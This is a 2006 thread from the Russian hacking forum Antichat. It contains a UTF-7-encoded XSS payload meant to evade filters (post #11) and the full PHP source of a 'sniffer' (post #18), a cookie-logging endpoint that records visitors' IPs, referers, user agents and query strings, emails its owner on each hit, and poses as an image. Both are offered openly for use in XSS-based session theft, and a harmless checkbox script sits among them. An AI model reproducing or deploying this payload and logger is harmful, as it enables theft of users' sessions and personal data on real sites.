ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 10.05.2006, 16:57
Аватар для hidden
hidden
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме:
5887054

Репутация: 1292


По умолчанию

+ADw-script+AD4-tx+AD0-/xss/+ADs-alert(tx.source)+ADsAPA-/script+AD4-
Это может сработать, если русский уберешь.
http://antichat.ru/txt/utf7/
 
Ответить с цитированием

  #12  
Старый 10.05.2006, 17:01
Аватар для Developer
Developer
Участник форума
Регистрация: 03.05.2006
Сообщений: 167
Провел на форуме:
125505

Репутация: 116
По умолчанию

hidden, как понять??? Как защититься от этого, что фильтровать? Первый раз вижу такой метод взлома ))
 
Ответить с цитированием

  #13  
Старый 10.05.2006, 17:03
Аватар для Developer
Developer
Участник форума
Регистрация: 03.05.2006
Сообщений: 167
Провел на форуме:
125505

Репутация: 116
По умолчанию

Кстати, может кто подскажет, как сделать, чтобы при нажатии на кнопку отмечались все чекбоксы на странице (JavaScript).
 
Ответить с цитированием

  #14  
Старый 10.05.2006, 18:11
Аватар для ferryman
ferryman
Познающий
Регистрация: 13.02.2006
Сообщений: 88
Провел на форуме:
304371

Репутация: 16
Отправить сообщение для ferryman с помощью ICQ
По умолчанию

Держи

Код:
function check_msg(obj,val)
                  {
                  var obj_len=obj.length;
                  for (i=0; i<obj_len; i++) {
                  if(obj.elements[i].type=='checkbox') {
                  obj.elements[i].checked=val;
                                  }
                          }
                  }

<input name=set type=checkbox onClick="check_msg(this.form,this.checked);" style="cursor:hand;width:8pt" title="Отметить все">
while(array){
<input name="uid[]" type=checkbox value="" style="cursor:hand;width:8pt">
}

Последний раз редактировалось ferryman; 10.05.2006 в 18:19..
 
Ответить с цитированием

  #15  
Старый 10.05.2006, 21:04
Аватар для Developer
Developer
Участник форума
Регистрация: 03.05.2006
Сообщений: 167
Провел на форуме:
125505

Репутация: 116
По умолчанию

Хм, спасибо, попробую...
 
Ответить с цитированием

  #16  
Старый 10.05.2006, 22:48
Аватар для hidden
hidden
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме:
5887054

Репутация: 1292


По умолчанию

Цитата:
hidden, как понять??? Как защититься от этого, что фильтровать? Первый раз вижу такой метод взлома ))
Если спрашуешь значит статью Algolа не прочитал.
 
Ответить с цитированием

  #17  
Старый 12.05.2006, 18:32
Аватар для Developer
Developer
Участник форума
Регистрация: 03.05.2006
Сообщений: 167
Провел на форуме:
125505

Репутация: 116
По умолчанию

Сниффер был немного доработан и добавлена функция "Удалить все", но пока что она никому не доступна ))

Исходники выложу, когда сниффер пройдет тестирование. Итак, хакеры, GO ломать сниффер ))
http://proteam.com.ru/sniffer.php
http://proteam.com.ru/sniffer.php?mode=view [ Login: login // Password: password ]
 
Ответить с цитированием

  #18  
Старый 12.05.2006, 21:25
Аватар для Developer
Developer
Участник форума
Регистрация: 03.05.2006
Сообщений: 167
Провел на форуме:
125505

Репутация: 116
По умолчанию

Я думаю, что с исходниками баг найти будет намного легче )) Итак, самая последняя версия сниффера:

Код:
<?php

// Конфигурация
$config['login'] = "login"; // Логин для входа
$config['password'] = "password"; // Пароль для входа
$config['file'] = "sniffer.txt"; // Файл, куда будет писаться или считываться информация.
$config['img'] = "sniffer.gif"; // Путь к изображению для показа относительно самого сниффера. Чтобы отключить эту функцию - впишите 0.
//$config['email'] = "MyMail@mail.ru"; // E-Mail для отправки уведомлений. Чтобы отключить эту функцию - впишите 0.
$config['from'] = "Sniffer@proteam.com.ru"; // Адрес, с которого будут отправляться уведомления.
$config['name'] = "Sniffer: new query"; // Тема письма.
$config['new'] = "New query at"; // Фраза, вставляемая перед временем запроса.

error_reporting(0);

function auth() {
    header('WWW-Authenticate: Basic realm="ProTeam Sniffer"');
    header('HTTP/1.0 401 Unauthorized');
    die("<br /><br /><div align=\"center\"><b>Не правильный логин или пароль!</b></div>");
}

function index()
{
    global $config;
    if (empty($_SERVER['HTTP_X_FORWARDED_FOR']) || $_SERVER['HTTP_X_FORWARDED_FOR'] == "unknown") {
        $_SERVER['HTTP_X_FORWARDED_FOR'] = "Hide";
    }
    if (empty($_SERVER['HTTP_REFERER'])) {
        $_SERVER['HTTP_REFERER'] = "Hide";
    }
    if (empty($_SERVER['USER_AGENT'])) {
        $_SERVER['USER_AGENT'] = "Hide";
    }
    if (empty($_SERVER['QUERY_STRING'])) {
        $_SERVER['QUERY_STRING'] = "None";
    }
    $info['date'] = date("d.m.Y H:i:s");
    $info['proxy_ip'] = $_SERVER['REMOTE_ADDR'];
    $info['line_ip'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
    $info['referer'] = $_SERVER['HTTP_REFERER'];
    $info['agent'] = $_SERVER['HTTP_USER_AGENT'];
    $info['query'] = urldecode($_SERVER['QUERY_STRING']);
    $string = htmlspecialchars($info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."||\n");
    $link = fopen($config['file'], "a");
    flock($link, LOCK_EX);
    fwrite($link, $string);
    flock($link, LOCK_UN);
    fclose($link);
    unset($string, $link);
    if (!empty($config['email'])) {
        $script = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
        $text = $config['new']." ".$info['date']."\r\n".$script;
        mail($config['email'], $config['name'], $text, "From: ".$config['from']."\r\n");
        unset($script, $text);
    }
    unset($info);
    if (!empty($config['img'])) {
        $image = file_get_contents($config['img']);
        header("Content-type: image/gif");
        echo $image;
        unset($image);
    }
}

function view()
{
    global $config;
    echo "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n";
    echo "<html>\n";
    echo "<head>\n";
    echo "<meta http-equiv=\"content-type\" content=\"text/html; charset=windows-1251\">\n";
    echo "<meta http-equiv=\"expires\" content=\"0\">\n";
    echo "<title>ProTeam Sniffer</title>\n";
    echo "</head>\n";
    echo "<body>\n";
    $file = file($config['file']);
    if (empty($file[0])) {
        echo "<br />\n";
        echo "<br />\n";
        echo "<br />\n";
        echo "<div align=\"center\"><h3>Запросы отсутствуют.</h3></div>\n";
        echo "</body>\n";
        echo "</html>";
        exit;
    }
    $file_count = count($file);
    echo "<form name=\"delete\" action=\"".$_SERVER['PHP_SELF']."?mode=delete\" method=\"post\">\n";
    for ($c = 0; $c < $file_count; $c++)
    {
        $str_num = $file_count - $c;
        $array = explode("||", $file[$str_num - 1]);
        $array[6] = str_replace(";", "<br />\n", $array[6]);
        echo "<fieldset>";
        echo "<table width=\"100%\" border=\"0\">\n";
        echo "<tr>\n";
        echo "<td width=\"175\">Дата:</td>\n";
        echo "<td>".$array[0]."</td>\n";
        echo "<td rowspan=\"7\" width=\"20\" align=\"right\"><input name=\"del\" type=\"checkbox\" value=\"del-".$str_num."\"></td></tr>\n";
        echo "<tr>\n";
        echo "<td>IP-адрес (Proxy):</td>\n";
        echo "<td>".$array[1]."</td></tr>\n";
        echo "<tr>\n";
        echo "<td>IP-адрес (Прямой):</td>\n";
        echo "<td>".$array[2]."</td></tr>\n";
        echo "<tr>\n";
        echo "<td>Реферер:</td>\n";
        echo "<td>".$array[3]."</td></tr>\n";
        echo "<tr>\n";
        echo "<td>Браузер:</td>\n";
        echo "<td>".$array[4]."</td></tr>\n";
        echo "<tr>\n";
        echo "<td>Запрос:</td>\n";
        echo "<td>".$array[5]."</td></tr>\n";
        echo "</table>\n";
        echo "</fieldset>\n";
        echo "<br />\n";
    }
    echo "<table width=\"100%\" border=\"0\">\n";
    echo "<tr>\n";
    echo "<td align=\"right\"><input type=\"submit\" value=\"Удалить отмеченные\"></td></tr>\n";
    echo "</table>\n";
    echo "</form>\n";
    echo "</body>\n";
    echo "</html>";
    unset($file, $file_count, $str_num, $array);
}

function del()
{
    global $config;
    if (!empty($_GET['all']) && $_GET['all'] == 1) {
        $link = fopen($config['file'], "w");
        fclose($link);
    } else {
        $file = file($config['file']);
        foreach ($_POST as $string)
        {
            $array = explode("-", $string);
            if ($array[0] == "del") {
                unset($file[$array[1] - 1]);
            }
        }
        unset($array);
        $string = "";
        foreach ($file as $str)
        {
            $string .= $str;
        }
        $link = fopen($config['file'], "w");
        flock($link, LOCK_EX);
        fwrite($link, $string);
        flock($link, LOCK_UN);
        fclose($link);
        unset($file, $string);
    }
    unset($link);
    header("Location: ".$_SERVER['PHP_SELF']."?mode=view");
}

if (empty($_GET['mode'])) {
    $_GET['mode'] = "index";
} else {
    if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW'])) auth();
    if (!($_SERVER['PHP_AUTH_USER'] == $config['login'] && $_SERVER['PHP_AUTH_PW'] == $config['password'])) auth();
}

switch ($_GET['mode'])
{
    case "view":
        view();
        break;
    case "delete":
        del();
        break;
    default:
        index();
        break;
}

?>
Ваши замечания, предложения, идеи прошу выкладывать в этом топике, за дельные посты буду ставить + ))
 
Ответить с цитированием

файл
  #19  
Старый 13.05.2006, 07:59
Аватар для hidden
hidden
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме:
5887054

Репутация: 1292


По умолчанию файл

Больше ничего найти не смог, кроме что только файл лучше распологать в недоступном дня вэба месте, но я думаю он там только на время тестирования, хотя кто может узнать его имя.
 
Ответить с цитированием

  #20  
Старый 13.05.2006, 08:36
Аватар для hidden
hidden
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме:
5887054

Репутация: 1292


По умолчанию

Может не самое подходящее место, но ты говорил про отсылку сообщений на Icq, не поденишся скриптом или хотябы источником, как это делать?
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ